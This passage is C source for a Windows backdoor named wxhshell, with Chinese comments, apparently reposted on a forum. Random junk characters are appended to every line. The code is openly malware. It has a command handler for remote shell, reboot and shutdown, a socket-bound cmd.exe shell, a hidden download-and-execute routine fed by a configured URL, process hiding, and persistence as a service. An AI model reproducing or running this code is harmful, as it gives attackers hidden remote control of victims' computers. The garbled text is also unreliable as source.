d}aMdIF!e  
    switch(cmd[0]) { G6}!PEwM  
  # 0d7  
  // 帮助 f 8\DAN  
  case '?': { SKF0p))BJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'C=(?H)M  
    break; L=<$^m  
  } U'^ G-@  
  // 安装 l, 9r d[  
  case 'i': { Ng1bjq}E2  
    if(Install()) TS`m&N{i")  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  @EURp  
    else g[' 7$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); La28%10  
    break; HWIn.ij  
    } \T[OF8yhW  
  // 卸载 O6vHo3k  
  case 'r': { DJ0jtv6nQ-  
    if(Uninstall()) )gz]F_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _R^ZXtypd  
    else aeVd.`lxM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  '9'f\  
    break; G5|'uKz2"  
    } 62kA(F 0e,  
  // 显示 wxhshell 所在路径 XTA:Y7"O  
  case 'p': { H2xDC_Fs  
    char svExeFile[MAX_PATH]; V*r/0|vd  
    strcpy(svExeFile,"\n\r"); }+}Cl T  
      strcat(svExeFile,ExeFile); Ga+Cb2$  
        send(wsh,svExeFile,strlen(svExeFile),0); sOVpDtZ]LR  
    break; @#*{* S8  
    } ?^J%S,  
  // 重启 {H>Tv,v|  
  case 'b': { o^/ fr&,9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W0;QufV  
    if(Boot(REBOOT)) jd2 p~W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]N,'3`&::  
    else { n^rbc ;}  
    closesocket(wsh); !acuOBv,  
    ExitThread(0); h+7U'+|%A  
    } j >`FZKxp  
    break; G0kF[8Am  
    } GO"E>FyB  
  // 关机 _>)@6srC  
  case 'd': { 8#R%jjr%T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G({5LjgW  
    if(Boot(SHUTDOWN)) QkWEVL@uM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fT{jD_Q+3  
    else {  ^Y!$WP  
    closesocket(wsh); H]*B5Jv~  
    ExitThread(0); oGyoU#z#  
    } }8ESp3~e_  
    break; _+)n}Se  
    } mKE' l'9A_  
  // 获取shell oKr= ]p  
  case 's': { Unansk  
    CmdShell(wsh); $m-C6xC/  
    closesocket(wsh); C8i4z  
    ExitThread(0); \),zDO+  
    break; V)4?y9xZv  
  } \ KsKb0sM  
  // 退出 e A3 NyL  
  case 'x': { l: kW|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B qINU  
    CloseIt(wsh); w11L@t[5W8  
    break; CKSs(-hkJ  
    } +3M1^:  
  // 离开 ?v-!`J>EF#  
  case 'q': { 1FG"Ak}D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5!wjYQt3  
    closesocket(wsh); :^qUr`)  
    WSACleanup(); m&#D~  
    exit(1); xIV#}z0  
    break; Q/J<$W*,  
        } mwn$ey&QE  
  } &4%78K\  
  } Z2-tDp(I  
&_s^C?x  
  // 提示信息 6(7dr?^eGT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;mr*$Iu7|  
} r[^O 7  
  } 8M,z#DF  
bSQj=|h1  
  return; DjiI*HLNR  
} il"pKQF  
>) Bv>HM  
// shell模块句柄 t?b@l<, s  
int CmdShell(SOCKET sock) <[T{q |*  
{ $VP\Ac,!  
STARTUPINFO si; /Z~$`!J  
ZeroMemory(&si,sizeof(si)); EMxMJ=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >]A#_p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >6W#v[  
PROCESS_INFORMATION ProcessInfo; 7Bd=K=3u  
char cmdline[]="cmd"; n 4co s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hQz1zG`z7  
  return 0; =s*4y$%I  
} Q \S Sv;3_  
+VJyGbOcC  
// 自身启动模式 W<TfDEEa  
int StartFromService(void) fN21[Jv3  
{ c>! ^\  
typedef struct G)f!AuN=  
{ !aJ6Uf%R  
  DWORD ExitStatus; G8MLg#  
  DWORD PebBaseAddress; Zlt,Us`  
  DWORD AffinityMask; iSfRo 31  
  DWORD BasePriority; C1qlB8(Wh>  
  ULONG UniqueProcessId; RE-y5.kE^  
  ULONG InheritedFromUniqueProcessId; K|Xe)  
}   PROCESS_BASIC_INFORMATION; -s7!:MB%g  
U-$nwji  
PROCNTQSIP NtQueryInformationProcess; #;+SAoN  
!w0=&/Y{R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U7e2NES  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'Q=(1a11  
b/\l\\$-  
  HANDLE             hProcess; 3<[q>7X  
  PROCESS_BASIC_INFORMATION pbi; }AiF 7N0  
'geN  dx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); / %F,  
  if(NULL == hInst ) return 0; c+O:n:L  
I]pz3!On4,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |Ho} D~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &' y}L'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B?e] Ht  
r%>7n,+o  
  if (!NtQueryInformationProcess) return 0; K(?p]wh  
kbbHa_;aqV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rt?*eC1b+Z  
  if(!hProcess) return 0; aZ|S$-}  
W[e2J&G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bweAmSs  
5d# 73)x$  
  CloseHandle(hProcess); $:UD #eh0?  
rd24R-6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !9.\A:G  
if(hProcess==NULL) return 0; YUyYVi7clq  
A6E~GJa  
HMODULE hMod; -D1 A  
char procName[255]; JL<<EPC  
unsigned long cbNeeded; F7]8*[u  
Cy)QS{YX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wSdiF-ue  
O*n@!ye  
  CloseHandle(hProcess); l%?()]y  
92N`Q}  
if(strstr(procName,"services")) return 1; // 以服务启动 \J;]g\&I"  
& IsPqO  
  return 0; // 注册表启动 ~jz51[{v  
} ~EvGNnTL  
9Sa6v?sRor  
// 主模块 xK5~9StP  
int StartWxhshell(LPSTR lpCmdLine) 7xO~v23oe  
{ )YZx]6\l)  
  SOCKET wsl; n;:C{5  
BOOL val=TRUE; =rkW325O  
  int port=0; u_8Z^T  
  struct sockaddr_in door; ^i8(/iwdJE  
ZXIz.GFy+  
  if(wscfg.ws_autoins) Install(); 0xaK"\Q   
[l7n "gJ~  
port=atoi(lpCmdLine); +Z=y/wY  
f|3LeOyz  
if(port<=0) port=wscfg.ws_port; ~0}d=d5g  
^7t1'A8e<  
  WSADATA data; */|<5X;xIA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d7:=axo,  
Ka%#RNW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i.KRw6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qv]rj]%  
  door.sin_family = AF_INET; vWL| vR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZG~d<kM&8s  
  door.sin_port = htons(port); 9ESV[  
.&8a ;Q?c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y'#uZA3KA  
closesocket(wsl); :oiHf:  
return 1; %&s4YD/{  
} {K:] dO  
2 i NZz  
  if(listen(wsl,2) == INVALID_SOCKET) { K `A8N  
closesocket(wsl); X/m~^  
return 1; ^f,%dM=i=  
} 9oG)\M.6w  
  Wxhshell(wsl); \6aisK  
  WSACleanup(); =Tfm~+7nE  
r$x;rL4  
return 0;  7mtg  
jw0wR\1  
} s k3 AwG;A  
Pa$"c?QUy  
// 以NT服务方式启动 ::-*~CH)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fP$rOJ)P  
{ "g!ek3w(  
DWORD   status = 0; }'n]C|gZ  
  DWORD   specificError = 0xfffffff; FC]n?1?<(  
x,fL656t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F6>oGmLy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0Fsa&<{6?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .S4%Q9l  
  serviceStatus.dwWin32ExitCode     = 0; GLMpWD`Wo  
  serviceStatus.dwServiceSpecificExitCode = 0; Dz8aJ6g  
  serviceStatus.dwCheckPoint       = 0; tX,x%(  
  serviceStatus.dwWaitHint       = 0; fX>y^s?y  
ToD_9i }6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D.ySnYzh  
  if (hServiceStatusHandle==0) return; _N0N #L4M  
/a6i`  
status = GetLastError(); 2@I0p\a  
  if (status!=NO_ERROR) J6<O|ng::  
{ /Ba/gq0j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *>xCX  
    serviceStatus.dwCheckPoint       = 0; 6` Aw!&{  
    serviceStatus.dwWaitHint       = 0; s%RG_"l  
    serviceStatus.dwWin32ExitCode     = status; OGG9f??  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3 .KNAObO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7 y$a=+D i  
    return; J@#rOOu  
  } @Qp#Tg<'  
Gi*_ &  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Hxleh><c-  
  serviceStatus.dwCheckPoint       = 0; ?I\,RiZkz^  
  serviceStatus.dwWaitHint       = 0; %36@1l-N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #qxo1uV(c  
} $R:Q R?   
vUDMl Z  
// 处理NT服务事件,比如:启动、停止 432]yhQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yD@eT:lyi  
{ 5du xW>D  
switch(fdwControl) fVdu9 l  
{ eo.B0NZsF  
case SERVICE_CONTROL_STOP: ,zxv>8Nt  
  serviceStatus.dwWin32ExitCode = 0; \Pe+]4R-Xo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P4+PY 8  
  serviceStatus.dwCheckPoint   = 0; X}g3[  
  serviceStatus.dwWaitHint     = 0; ,,BWWFg~  
  { 3e1P!^'\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); % iZM9Q&NC  
  } : LT'#Q8  
  return; 2IUd?i3~l  
case SERVICE_CONTROL_PAUSE: ;mPX8bT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tg\o"QKW9  
  break; P]armg%  
case SERVICE_CONTROL_CONTINUE: b[:{\ !I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; '|<S`,'#hg  
  break; \xQu*M:!  
case SERVICE_CONTROL_INTERROGATE: :T<5Tq*+x  
  break; +oL@pp0  
}; 6RDy2JAOP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {w7/M]m-  
} ExeZj8U  
E=`/}2  
// 标准应用程序主函数 c5: X$k\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z[eWey_  
{ 2( m#WK7>F  
sz%_9;`dpL  
// 获取操作系统版本 mkl^2V13~  
OsIsNt=GetOsVer(); 1I)oT-~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C2\zbC[qm  
A~ _2"  
  // 从命令行安装 sRqecG(n  
  if(strpbrk(lpCmdLine,"iI")) Install(); uL^`uI#I  
<XN=v!2;  
  // 下载执行文件 NCl@C$W9q  
if(wscfg.ws_downexe) { n7yp6 Db  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -:OJX#j  
  WinExec(wscfg.ws_filenam,SW_HIDE); FZLx.3k4  
} Yy6$q\@rV  
?Ygd|a5  
if(!OsIsNt) { M>}_2G]#F  
// 如果时win9x,隐藏进程并且设置为注册表启动 Qkhor-f0  
HideProc(); $48 Z>ij?f  
StartWxhshell(lpCmdLine); 1aCpeD4|)  
} q'TIN{\.{  
else d`=LZio  
  if(StartFromService()) BRM!g9  
  // 以服务方式启动 W|y;Kxy  
  StartServiceCtrlDispatcher(DispatchTable); D2=zrU3Y64  
else b};o:  
  // 普通方式启动 Rd|8=`)  
  StartWxhshell(lpCmdLine); EdkIT|c{  
z,4 D'F&  
return 0; oR/_{#Mz"  
}
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只看该作者 1 发表于: 2006-10-10
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